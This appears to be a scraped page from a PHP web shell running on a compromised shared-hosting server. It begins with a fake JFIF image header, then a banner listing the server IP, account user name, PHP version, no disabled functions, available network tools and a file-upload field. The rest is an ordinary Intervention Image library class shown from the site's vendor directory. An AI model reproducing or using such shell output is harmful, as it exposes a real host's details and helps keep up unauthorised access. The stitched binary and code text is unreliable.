����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.137.203.53 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/./cbt.bofirm.com/vendor/intervention/image/src/Intervention/Image/ |
Upload File : |
<?php namespace Intervention\Image; class Constraint { /** * Bit value of aspect ratio constraint */ const ASPECTRATIO = 1; /** * Bit value of upsize constraint */ const UPSIZE = 2; /** * Constraint size * * @var \Intervention\Image\Size */ private $size; /** * Integer value of fixed parameters * * @var int */ private $fixed = 0; /** * Create a new constraint based on size * * @param Size $size */ public function __construct(Size $size) { $this->size = $size; } /** * Returns current size of constraint * * @return \Intervention\Image\Size */ public function getSize() { return $this->size; } /** * Fix the given argument in current constraint * * @param int $type * @return void */ public function fix($type) { $this->fixed = ($this->fixed & ~(1 << $type)) | (1 << $type); } /** * Checks if given argument is fixed in current constraint * * @param int $type * @return boolean */ public function isFixed($type) { return (bool) ($this->fixed & (1 << $type)); } /** * Fixes aspect ratio in current constraint * * @return void */ public function aspectRatio() { $this->fix(self::ASPECTRATIO); } /** * Fixes possibility to size up in current constraint * * @return void */ public function upsize() { $this->fix(self::UPSIZE); } }